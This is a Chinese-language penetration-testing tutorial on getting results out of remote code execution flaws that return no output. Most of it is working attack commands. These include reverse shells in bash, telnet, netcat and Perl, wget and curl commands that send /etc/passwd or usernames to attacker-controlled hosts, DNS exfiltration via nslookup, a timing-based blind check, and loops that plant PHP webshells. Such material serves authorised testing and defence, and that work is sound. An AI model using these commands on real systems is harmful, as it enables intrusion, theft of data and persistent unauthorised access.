渗透测试之RCE无回显利用方式
字数 1689 2025-08-10 08:28:00
渗透测试之RCE无回显利用方式详解
前言
在渗透测试过程中,经常会遇到RCE(远程代码执行)漏洞没有回显的情况,即无法直接在页面上看到命令执行的结果。本文将详细介绍几种常见的无回显RCE利用方式,帮助安全研究人员在这种情况下有效获取执行结果。
一、反弹Shell技术
反弹Shell是最常见的无回显RCE利用方式,通过将目标系统的Shell会话反弹到攻击者控制的服务器上。
Linux系统反弹Shell方法
-
Bash反弹
- 攻击者监听端口:
nc -lvp 7777 - 目标执行命令:
bash -i >& /dev/tcp/IP/7777 0>&1
- 攻击者监听端口:
-
Telnet反弹
- 攻击者监听两个端口:
nc -lvvp 4444和nc -lvvp 5555 - 目标执行命令:
telnet IP 4444 | /bin/bash | telnet IP 5555
- 攻击者监听两个端口:
-
Netcat反弹
- 攻击者监听端口:
nc -lvvp 4444 - 目标执行命令:
rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc IP 4444 >/tmp/f
- 攻击者监听端口:
-
Perl反弹
- 攻击者监听端口:
nc -lvvp 4444 - 目标执行命令:
perl -e 'use Socket;$i="127.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
- 攻击者监听端口:
Windows系统反弹Shell
Windows系统反弹Shell方法较为复杂,可参考:FreeBuf文章
二、HTTP请求外带数据
当目标系统允许HTTP协议访问外网时,可以通过HTTP请求将命令执行结果外带。
使用wget外带数据
wget --header="User-Agent: $(cat /etc/passwd | xargs echo)" http://xxxx.burpcollaborator.net
此方法将/etc/passwd文件内容通过HTTP请求的User-Agent头发送到攻击者控制的服务器。
使用curl外带数据
curl http://attacker-server.com/$(whoami)
三、DNSlog外带数据
当目标系统不允许HTTP协议但允许DNS协议时,可以使用DNSlog外带数据。
Linux系统DNS外带
var=11111 && for i in $(ifconfig|base64|awk '{gsub(/.{50}/,"&\n")}1'); do var=$((var+1)) && nslookup $var.$i.402c35vpn9hpplp9ilj09pxx9ofe33.burpcollaborator.net; done
Windows系统DNS外带
可以使用系统环境变量外带信息:
nslookup %USERNAME%.dnslog.com
常用Windows环境变量:
%ALLUSERSPROFILE%- 返回"所有用户"配置文件位置%APPDATA%- 返回应用程序默认数据存储位置%COMPUTERNAME%- 返回计算机名称%USERNAME%- 返回当前登录用户名%USERDOMAIN%- 返回用户帐户所在域名%SYSTEMROOT%- 返回系统根目录位置
四、页面返回时间判断
通过命令执行影响页面响应时间来判断命令是否执行成功。
示例:
?cmd=if [$(whoami|base32|cut -c 1)=O];then sleep 10;fi
此命令会检查当前用户名的第一个字符是否为'O',如果是则休眠10秒,通过页面响应时间可以判断条件是否成立。
五、盲写Webshell
当无法通过其他方式获取回显时,可以尝试盲写Webshell。
Linux系统盲写Webshell
for i in `find /var -name "flag.png"`; do echo "<?php system($_GET['cmd']);?>" >`realpath $i`flag.php; done
Windows系统盲写Webshell
for /r C:\ %i in (flag.png) do @echo "<?php system($_GET['cmd']);?>" > %i.php
关键点:
- 需要找到一个已知存在的静态文件(如flag.png)
- 通过查找该文件确定可写目录
- 在相同目录下写入Webshell
六、其他利用方式
- ICMP协议外带:通过ping命令将数据编码在ICMP包中外带
- SMTP协议外带:通过邮件发送命令执行结果
- SMB协议外带:通过SMB协议将数据发送到攻击者控制的服务器
总结
| 方法 | 适用场景 | 优点 | 缺点 |
|---|---|---|---|
| 反弹Shell | 目标可出网 | 交互式操作 | 需要公网服务器 |
| HTTP外带 | 允许HTTP出站 | 可带出大量数据 | 可能被防火墙拦截 |
| DNS外带 | 严格网络限制 | 通常允许DNS查询 | 数据量有限 |
| 时间盲注 | 完全无回显 | 不需要出网 | 效率低,易误判 |
| 盲写Webshell | 有Web目录写权限 | 获得持久访问 | 需要知道可写路径 |
在实际渗透测试中,应根据目标环境选择最合适的利用方式,通常优先尝试反弹Shell和DNS外带方法。